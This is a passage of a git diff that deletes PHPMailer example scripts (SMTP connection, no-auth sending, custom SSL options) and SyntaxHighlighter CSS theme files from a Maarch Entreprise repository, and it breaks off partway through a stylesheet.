-date_default_timezone_set('Etc/UTC'); - -require '../PHPMailerAutoload.php'; - -//Create a new SMTP instance -$smtp = new SMTP; - -//Enable connection-level debug output -$smtp->do_debug = SMTP::DEBUG_CONNECTION; - -try { - //Connect to an SMTP server - if (!$smtp->connect('mail.example.com', 25)) { - throw new Exception('Connect failed'); - } - //Say hello - if (!$smtp->hello(gethostname())) { - throw new Exception('EHLO failed: ' . $smtp->getError()['error']); - } - //Get the list of ESMTP services the server offers - $e = $smtp->getServerExtList(); - //If server can do TLS encryption, use it - if (array_key_exists('STARTTLS', $e)) { - $tlsok = $smtp->startTLS(); - if (!$tlsok) { - throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']); - } - //Repeat EHLO after STARTTLS - if (!$smtp->hello(gethostname())) { - throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']); - } - //Get new capabilities list, which will usually now include AUTH if it didn't before - $e = $smtp->getServerExtList(); - } - //If server supports authentication, do it (even if no encryption) - if (array_key_exists('AUTH', $e)) { - if ($smtp->authenticate('username', 'password')) { - echo "Connected ok!"; - } else { - throw new Exception('Authentication failed: ' . $smtp->getError()['error']); - } - } -} catch (Exception $e) { - echo 'SMTP error: ' . $e->getMessage(), "\n"; -} -//Whatever happened, close the connection. -$smtp->quit(true); diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/smtp_no_auth.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/smtp_no_auth.phps deleted file mode 100755 index b59029842d11de88fa5593f0725d61b2663338ec..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/smtp_no_auth.phps +++ /dev/null @@ -1,50 +0,0 @@ -<?php -/** - * This example shows making an SMTP connection without using authentication. - */ - -//SMTP needs accurate times, and the PHP time zone MUST be set -//This should be done in your php.ini, but this is how to do it if you don't have access to that -date_default_timezone_set('Etc/UTC'); - -require_once '../PHPMailerAutoload.php'; - -//Create a new PHPMailer instance -$mail = new PHPMailer; -//Tell PHPMailer to use SMTP -$mail->isSMTP(); -//Enable SMTP debugging -// 0 = off (for production use) -// 1 = client messages -// 2 = client and server messages -$mail->SMTPDebug = 2; -//Ask for HTML-friendly debug output -$mail->Debugoutput = 'html'; -//Set the hostname of the mail server -$mail->Host = "mail.example.com"; -//Set the SMTP port number - likely to be 25, 465 or 587 -$mail->Port = 25; -//Whether to use SMTP authentication -$mail->SMTPAuth = false; -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer SMTP without auth test'; -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); -//Replace the plain text body with one created manually -$mail->AltBody = 'This is a plain-text message body'; -//Attach an image file -$mail->addAttachment('images/phpmailer_mini.png'); - -//send the message, check for errors -if (!$mail->send()) { - echo "Mailer Error: " . $mail->ErrorInfo; -} else { - echo "Message sent!"; -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/ssl_options.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/ssl_options.phps deleted file mode 100755 index cc41495a5ca6510e5bd336192698e1aa4e3f1232..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/ssl_options.phps +++ /dev/null @@ -1,74 +0,0 @@ -<?php -/** - * This example shows settings to use when sending over SMTP with TLS and custom connection options. - */ - -//SMTP needs accurate times, and the PHP time zone MUST be set -//This should be done in your php.ini, but this is how to do it if you don't have access to that -date_default_timezone_set('Etc/UTC'); - -require '../PHPMailerAutoload.php'; - -//Create a new PHPMailer instance -$mail = new PHPMailer; - -//Tell PHPMailer to use SMTP -$mail->isSMTP(); - -//Enable SMTP debugging -// 0 = off (for production use) -// 1 = client messages -// 2 = client and server messages -$mail->SMTPDebug = 2; - -//Ask for HTML-friendly debug output -$mail->Debugoutput = 'html'; - -//Set the hostname of the mail server -$mail->Host = 'smtp.example.com'; - -//Set the SMTP port number - 587 for authenticated TLS, a.k.a. RFC4409 SMTP submission -$mail->Port = 587; - -//Set the encryption system to use - ssl (deprecated) or tls -$mail->SMTPSecure = 'tls'; - -//Custom connection options -$mail->SMTPOptions = array ( - 'ssl' => array( - 'verify_peer' => true, - 'verify_depth' => 3, - 'allow_self_signed' => true, - 'peer_name' => 'smtp.example.com', - 'cafile' => '/etc/ssl/ca_cert.pem', - ) -); - -//Whether to use SMTP authentication -$mail->SMTPAuth = true; - -//Username to use for SMTP authentication - use full email address for gmail -$mail->Username = "username@example.com"; - -//Password to use for SMTP authentication -$mail->Password = "yourpassword"; - -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); - -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); - -//Set the subject line -$mail->Subject = 'PHPMailer SMTP options test'; - -//Read an HTML message body from an external file, convert referenced images to embedded, -//convert HTML into a basic plain-text alternative body -$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); - -//send the message, check for errors -if (!$mail->send()) { - echo "Mailer Error: " . $mail->ErrorInfo; -} else { - echo "Message sent!"; -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCore.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCore.css deleted file mode 100755 index 3b26ae7e7539eef38d4971c44024f4b12547c0cc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCore.css +++ /dev/null @@ -1,46 +0,0 @@ -.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter table,.syntaxhighlighter table td,.syntaxhighlighter table tr,.syntaxhighlighter table tbody,.syntaxhighlighter table thead,.syntaxhighlighter table caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0 !important;-webkit-border-radius:0 0 0 0 !important;background:none !important;border:0 !important;bottom:auto !important;float:none !important;height:auto !important;left:auto !important;line-height:1.1em !important;margin:0 !important;outline:0 !important;overflow:visible !important;padding:0 !important;position:static !important;right:auto !important;text-align:left !important;top:auto !important;vertical-align:baseline !important;width:auto !important;box-sizing:content-box !important;font-family:"Consolas","Bitstream Vera Sans Mono","Courier New",Courier,monospace !important;font-weight:normal !important;font-style:normal !important;font-size:1em !important;min-height:inherit !important;min-height:auto !important;} -.syntaxhighlighter{width:100% !important;margin:1em 0 1em 0 !important;position:relative !important;overflow:auto !important;font-size:1em !important;} -.syntaxhighlighter.source{overflow:hidden !important;} -.syntaxhighlighter .bold{font-weight:bold !important;} -.syntaxhighlighter .italic{font-style:italic !important;} -.syntaxhighlighter .line{white-space:pre !important;} -.syntaxhighlighter table{width:100% !important;} -.syntaxhighlighter table caption{text-align:left !important;padding:.5em 0 0.5em 1em !important;} -.syntaxhighlighter table td.code{width:100% !important;} -.syntaxhighlighter table td.code .container{position:relative !important;} -.syntaxhighlighter table td.code .container textarea{box-sizing:border-box !important;position:absolute !important;left:0 !important;top:0 !important;width:100% !important;height:100% !important;border:none !important;background:white !important;padding-left:1em !important;overflow:hidden !important;white-space:pre !important;} -.syntaxhighlighter table td.gutter .line{text-align:right !important;padding:0 0.5em 0 1em !important;} -.syntaxhighlighter table td.code .line{padding:0 1em !important;} -.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0em !important;} -.syntaxhighlighter.show{display:block !important;} -.syntaxhighlighter.collapsed table{display:none !important;} -.syntaxhighlighter.collapsed .toolbar{padding:0.1em 0.8em 0em 0.8em !important;font-size:1em !important;position:static !important;width:auto !important;height:auto !important;} -.syntaxhighlighter.collapsed .toolbar span{display:inline !important;margin-right:1em !important;} -.syntaxhighlighter.collapsed .toolbar span a{padding:0 !important;display:none !important;} -.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline !important;} -.syntaxhighlighter .toolbar{position:absolute !important;right:1px !important;top:1px !important;width:11px !important;height:11px !important;font-size:10px !important;z-index:10 !important;} -.syntaxhighlighter .toolbar span.title{display:inline !important;} -.syntaxhighlighter .toolbar a{display:block !important;text-align:center !important;text-decoration:none !important;padding-top:1px !important;} -.syntaxhighlighter .toolbar a.expandSource{display:none !important;} -.syntaxhighlighter.ie{font-size:.9em !important;padding:1px 0 1px 0 !important;} -.syntaxhighlighter.ie .toolbar{line-height:8px !important;} -.syntaxhighlighter.ie .toolbar a{padding-top:0px !important;} -.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none !important;} -.syntaxhighlighter.printing .line .number{color:#bbbbbb !important;} -.syntaxhighlighter.printing .line .content{color:black !important;} -.syntaxhighlighter.printing .toolbar{display:none !important;} -.syntaxhighlighter.printing a{text-decoration:none !important;} -.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black !important;} -.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200 !important;} -.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue !important;} -.syntaxhighlighter.printing .keyword{color:#006699 !important;font-weight:bold !important;} -.syntaxhighlighter.printing .preprocessor{color:gray !important;} -.syntaxhighlighter.printing .variable{color:#aa7700 !important;} -.syntaxhighlighter.printing .value{color:#009900 !important;} -.syntaxhighlighter.printing .functions{color:#ff1493 !important;} -.syntaxhighlighter.printing .constants{color:#0066cc !important;} -.syntaxhighlighter.printing .script{font-weight:bold !important;} -.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray !important;} -.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493 !important;} -.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red !important;} -.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreDefault.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreDefault.css deleted file mode 100755 index 3f15ebaad581bffa7cb2f38d7e37ff4a7d0387b7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreDefault.css +++ /dev/null @@ -1,77 +0,0 @@ -.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter table,.syntaxhighlighter table td,.syntaxhighlighter table tr,.syntaxhighlighter table tbody,.syntaxhighlighter table thead,.syntaxhighlighter table caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0 !important;-webkit-border-radius:0 0 0 0 !important;background:none !important;border:0 !important;bottom:auto !important;float:none !important;height:auto !important;left:auto !important;line-height:1.1em !important;margin:0 !important;outline:0 !important;overflow:visible !important;padding:0 !important;position:static !important;right:auto !important;text-align:left !important;top:auto !important;vertical-align:baseline !important;width:auto !important;box-sizing:content-box !important;font-family:"Consolas","Bitstream Vera Sans Mono","Courier New",Courier,monospace !important;font-weight:normal !important;font-style:normal !important;font-size:1em !important;min-height:inherit !important;min-height:auto !important;} -.syntaxhighlighter{width:100% !important;margin:1em 0 1em 0 !important;position:relative !important;overflow:auto !important;font-size:1em !important;} -.syntaxhighlighter.source{overflow:hidden !important;} -.syntaxhighlighter .bold{font-weight:bold !important;} -.syntaxhighlighter .italic{font-style:italic !important;} -.syntaxhighlighter .line{white-space:pre !important;} -.syntaxhighlighter table{width:100% !important;} -.syntaxhighlighter table caption{text-align:left !important;padding:.5em 0 0.5em 1em !important;} -.syntaxhighlighter table td.code{width:100% !important;} -.syntaxhighlighter table td.code .container{position:relative !important;} -.syntaxhighlighter table td.code .container textarea{box-sizing:border-box !important;position:absolute !important;left:0 !important;top:0 !important;width:100% !important;height:100% !important;border:none !important;background:white !important;padding-left:1em !important;overflow:hidden !important;white-space:pre !important;} -.syntaxhighlighter table td.gutter .line{text-align:right !important;padding:0 0.5em 0 1em !important;} -.syntaxhighlighter table td.code .line{padding:0 1em !important;} -.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0em !important;} -.syntaxhighlighter.show{display:block !important;} -.syntaxhighlighter.collapsed table{display:none !important;} -.syntaxhighlighter.collapsed .toolbar{padding:0.1em 0.8em 0em 0.8em !important;font-size:1em !important;position:static !important;width:auto !important;height:auto !important;} -.syntaxhighlighter.collapsed .toolbar span{display:inline !important;margin-right:1em !important;} -.syntaxhighlighter.collapsed .toolbar span a{padding:0 !important;display:none !important;} -.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline !important;} -.syntaxhighlighter .toolbar{position:absolute !important;right:1px !important;top:1px !important;width:11px !important;height:11px !important;font-size:10px !important;z-index:10 !important;} -.syntaxhighlighter .toolbar span.title{display:inline !important;} -.syntaxhighlighter .toolbar a{display:block !important;text-align:center !important;text-decoration:none !important;padding-top:1px !important;} -.syntaxhighlighter .toolbar a.expandSource{display:none !important;} -.syntaxhighlighter.ie{font-size:.9em !important;padding:1px 0 1px 0 !important;} -.syntaxhighlighter.ie .toolbar{line-height:8px !important;} -.syntaxhighlighter.ie .toolbar a{padding-top:0px !important;} -.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none !important;} -.syntaxhighlighter.printing .line .number{color:#bbbbbb !important;} -.syntaxhighlighter.printing .line .content{color:black !important;} -.syntaxhighlighter.printing .toolbar{display:none !important;} -.syntaxhighlighter.printing a{text-decoration:none !important;} -.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black !important;} -.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200 !important;} -.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue !important;} -.syntaxhighlighter.printing .keyword{color:#006699 !important;font-weight:bold !important;} -.syntaxhighlighter.printing .preprocessor{color:gray !important;} -.syntaxhighlighter.printing .variable{color:#aa7700 !important;} -.syntaxhighlighter.printing .value{color:#009900 !important;} -.syntaxhighlighter.printing .functions{color:#ff1493 !important;} -.syntaxhighlighter.printing .constants{color:#0066cc !important;} -.syntaxhighlighter.printing .script{font-weight:bold !important;} -.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray !important;} -.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493 !important;} -.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red !important;} -.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black !important;} -.syntaxhighlighter{background-color:white !important;} -.syntaxhighlighter .line.alt1{background-color:white !important;} -.syntaxhighlighter .line.alt2{background-color:white !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#e0e0e0 !important;} -.syntaxhighlighter .line.highlighted.number{color:black !important;} -.syntaxhighlighter table caption{color:black !important;} -.syntaxhighlighter .gutter{color:#afafaf !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #6ce26c !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#6ce26c !important;color:white !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:blue !important;background:white !important;border:1px solid #6ce26c !important;} -.syntaxhighlighter.collapsed .toolbar a{color:blue !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:red !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#6ce26c !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:black !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:black !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#008200 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:blue !important;} -.syntaxhighlighter .keyword{color:#006699 !important;} -.syntaxhighlighter .preprocessor{color:gray !important;} -.syntaxhighlighter .variable{color:#aa7700 !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#ff1493 !important;} -.syntaxhighlighter .constants{color:#0066cc !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#006699 !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:gray !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#ff1493 !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:red !important;} -.syntaxhighlighter .keyword{font-weight:bold !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreDjango.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreDjango.css deleted file mode 100755 index 19c5eb4e91ad931eefb733d90c1929fe40d74479..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreDjango.css +++ /dev/null @@ -1,78 +0,0 @@ -.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter table,.syntaxhighlighter table td,.syntaxhighlighter table tr,.syntaxhighlighter table tbody,.syntaxhighlighter table thead,.syntaxhighlighter table caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0 !important;-webkit-border-radius:0 0 0 0 !important;background:none !important;border:0 !important;bottom:auto !important;float:none !important;height:auto !important;left:auto !important;line-height:1.1em !important;margin:0 !important;outline:0 !important;overflow:visible !important;padding:0 !important;position:static !important;right:auto !important;text-align:left !important;top:auto !important;vertical-align:baseline !important;width:auto !important;box-sizing:content-box !important;font-family:"Consolas","Bitstream Vera Sans Mono","Courier New",Courier,monospace !important;font-weight:normal !important;font-style:normal !important;font-size:1em !important;min-height:inherit !important;min-height:auto !important;} -.syntaxhighlighter{width:100% !important;margin:1em 0 1em 0 !important;position:relative !important;overflow:auto !important;font-size:1em !important;} -.syntaxhighlighter.source{overflow:hidden !important;} -.syntaxhighlighter .bold{font-weight:bold !important;} -.syntaxhighlighter .italic{font-style:italic !important;} -.syntaxhighlighter .line{white-space:pre !important;} -.syntaxhighlighter table{width:100% !important;} -.syntaxhighlighter table caption{text-align:left !important;padding:.5em 0 0.5em 1em !important;} -.syntaxhighlighter table td.code{width:100% !important;} -.syntaxhighlighter table td.code .container{position:relative !important;} -.syntaxhighlighter table td.code .container textarea{box-sizing:border-box !important;position:absolute !important;left:0 !important;top:0 !important;width:100% !important;height:100% !important;border:none !important;background:white !important;padding-left:1em !important;overflow:hidden !important;white-space:pre !important;} -.syntaxhighlighter table td.gutter .line{text-align:right !important;padding:0 0.5em 0 1em !important;} -.syntaxhighlighter table td.code .line{padding:0 1em !important;} -.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0em !important;} -.syntaxhighlighter.show{display:block !important;} -.syntaxhighlighter.collapsed table{display:none !important;} -.syntaxhighlighter.collapsed .toolbar{padding:0.1em 0.8em 0em 0.8em !important;font-size:1em !important;position:static !important;width:auto !important;height:auto !important;} -.syntaxhighlighter.collapsed .toolbar span{display:inline !important;margin-right:1em !important;} -.syntaxhighlighter.collapsed .toolbar span a{padding:0 !important;display:none !important;} -.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline !important;} -.syntaxhighlighter .toolbar{position:absolute !important;right:1px !important;top:1px !important;width:11px !important;height:11px !important;font-size:10px !important;z-index:10 !important;} -.syntaxhighlighter .toolbar span.title{display:inline !important;} -.syntaxhighlighter .toolbar a{display:block !important;text-align:center !important;text-decoration:none !important;padding-top:1px !important;} -.syntaxhighlighter .toolbar a.expandSource{display:none !important;} -.syntaxhighlighter.ie{font-size:.9em !important;padding:1px 0 1px 0 !important;} -.syntaxhighlighter.ie .toolbar{line-height:8px !important;} -.syntaxhighlighter.ie .toolbar a{padding-top:0px !important;} -.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none !important;} -.syntaxhighlighter.printing .line .number{color:#bbbbbb !important;} -.syntaxhighlighter.printing .line .content{color:black !important;} -.syntaxhighlighter.printing .toolbar{display:none !important;} -.syntaxhighlighter.printing a{text-decoration:none !important;} -.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black !important;} -.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200 !important;} -.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue !important;} -.syntaxhighlighter.printing .keyword{color:#006699 !important;font-weight:bold !important;} -.syntaxhighlighter.printing .preprocessor{color:gray !important;} -.syntaxhighlighter.printing .variable{color:#aa7700 !important;} -.syntaxhighlighter.printing .value{color:#009900 !important;} -.syntaxhighlighter.printing .functions{color:#ff1493 !important;} -.syntaxhighlighter.printing .constants{color:#0066cc !important;} -.syntaxhighlighter.printing .script{font-weight:bold !important;} -.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray !important;} -.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493 !important;} -.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red !important;} -.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black !important;} -.syntaxhighlighter{background-color:#0a2b1d !important;} -.syntaxhighlighter .line.alt1{background-color:#0a2b1d !important;} -.syntaxhighlighter .line.alt2{background-color:#0a2b1d !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#233729 !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:#f8f8f8 !important;} -.syntaxhighlighter .gutter{color:#497958 !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #41a83e !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#41a83e !important;color:#0a2b1d !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#96dd3b !important;background:black !important;border:1px solid #41a83e !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#96dd3b !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:white !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#41a83e !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:#ffe862 !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:#f8f8f8 !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#336442 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#9df39f !important;} -.syntaxhighlighter .keyword{color:#96dd3b !important;} -.syntaxhighlighter .preprocessor{color:#91bb9e !important;} -.syntaxhighlighter .variable{color:#ffaa3e !important;} -.syntaxhighlighter .value{color:#f7e741 !important;} -.syntaxhighlighter .functions{color:#ffaa3e !important;} -.syntaxhighlighter .constants{color:#e0e8ff !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#96dd3b !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#eb939a !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#91bb9e !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#edef7d !important;} -.syntaxhighlighter .comments{font-style:italic !important;} -.syntaxhighlighter .keyword{font-weight:bold !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreEclipse.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreEclipse.css deleted file mode 100755 index fc8c59dab64c8a863a3c21f2d18b0aeaeef7aa83..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreEclipse.css +++ /dev/null @@ -1,80 +0,0 @@ -.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter table,.syntaxhighlighter table td,.syntaxhighlighter table tr,.syntaxhighlighter table tbody,.syntaxhighlighter table thead,.syntaxhighlighter table caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0 !important;-webkit-border-radius:0 0 0 0 !important;background:none !important;border:0 !important;bottom:auto !important;float:none !important;height:auto !important;left:auto !important;line-height:1.1em !important;margin:0 !important;outline:0 !important;overflow:visible !important;padding:0 !important;position:static !important;right:auto !important;text-align:left !important;top:auto !important;vertical-align:baseline !important;width:auto !important;box-sizing:content-box !important;font-family:"Consolas","Bitstream Vera Sans Mono","Courier New",Courier,monospace !important;font-weight:normal !important;font-style:normal !important;font-size:1em !important;min-height:inherit !important;min-height:auto !important;} -.syntaxhighlighter{width:100% !important;margin:1em 0 1em 0 !important;position:relative !important;overflow:auto !important;font-size:1em !important;} -.syntaxhighlighter.source{overflow:hidden !important;} -.syntaxhighlighter .bold{font-weight:bold !important;} -.syntaxhighlighter .italic{font-style:italic !important;} -.syntaxhighlighter .line{white-space:pre !important;} -.syntaxhighlighter table{width:100% !important;} -.syntaxhighlighter table caption{text-align:left !important;padding:.5em 0 0.5em 1em !important;} -.syntaxhighlighter table td.code{width:100% !important;} -.syntaxhighlighter table td.code .container{position:relative !important;} -.syntaxhighlighter table td.code .container textarea{box-sizing:border-box !important;position:absolute !important;left:0 !important;top:0 !important;width:100% !important;height:100% !important;border:none !important;background:white !important;padding-left:1em !important;overflow:hidden !important;white-space:pre !important;} -.syntaxhighlighter table td.gutter .line{text-align:right !important;padding:0 0.5em 0 1em !important;} -.syntaxhighlighter table td.code .line{padding:0 1em !important;} -.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0em !important;} -.syntaxhighlighter.show{display:block !important;} -.syntaxhighlighter.collapsed table{display:none !important;} -.syntaxhighlighter.collapsed .toolbar{padding:0.1em 0.8em 0em 0.8em !important;font-size:1em !important;position:static !important;width:auto !important;height:auto !important;} -.syntaxhighlighter.collapsed .toolbar span{display:inline !important;margin-right:1em !important;} -.syntaxhighlighter.collapsed .toolbar span a{padding:0 !important;display:none !important;} -.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline !important;} -.syntaxhighlighter .toolbar{position:absolute !important;right:1px !important;top:1px !important;width:11px !important;height:11px !important;font-size:10px !important;z-index:10 !important;} -.syntaxhighlighter .toolbar span.title{display:inline !important;} -.syntaxhighlighter .toolbar a{display:block !important;text-align:center !important;text-decoration:none !important;padding-top:1px !important;} -.syntaxhighlighter .toolbar a.expandSource{display:none !important;} -.syntaxhighlighter.ie{font-size:.9em !important;padding:1px 0 1px 0 !important;} -.syntaxhighlighter.ie .toolbar{line-height:8px !important;} -.syntaxhighlighter.ie .toolbar a{padding-top:0px !important;} -.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none !important;} -.syntaxhighlighter.printing .line .number{color:#bbbbbb !important;} -.syntaxhighlighter.printing .line .content{color:black !important;} -.syntaxhighlighter.printing .toolbar{display:none !important;} -.syntaxhighlighter.printing a{text-decoration:none !important;} -.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black !important;} -.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200 !important;} -.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue !important;} -.syntaxhighlighter.printing .keyword{color:#006699 !important;font-weight:bold !important;} -.syntaxhighlighter.printing .preprocessor{color:gray !important;} -.syntaxhighlighter.printing .variable{color:#aa7700 !important;} -.syntaxhighlighter.printing .value{color:#009900 !important;} -.syntaxhighlighter.printing .functions{color:#ff1493 !important;} -.syntaxhighlighter.printing .constants{color:#0066cc !important;} -.syntaxhighlighter.printing .script{font-weight:bold !important;} -.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray !important;} -.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493 !important;} -.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red !important;} -.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black !important;} -.syntaxhighlighter{background-color:white !important;} -.syntaxhighlighter .line.alt1{background-color:white !important;} -.syntaxhighlighter .line.alt2{background-color:white !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#c3defe !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:black !important;} -.syntaxhighlighter .gutter{color:#787878 !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #d4d0c8 !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#d4d0c8 !important;color:white !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#3f5fbf !important;background:white !important;border:1px solid #d4d0c8 !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#3f5fbf !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#aa7700 !important;} -.syntaxhighlighter .toolbar{color:#a0a0a0 !important;background:#d4d0c8 !important;border:none !important;} -.syntaxhighlighter 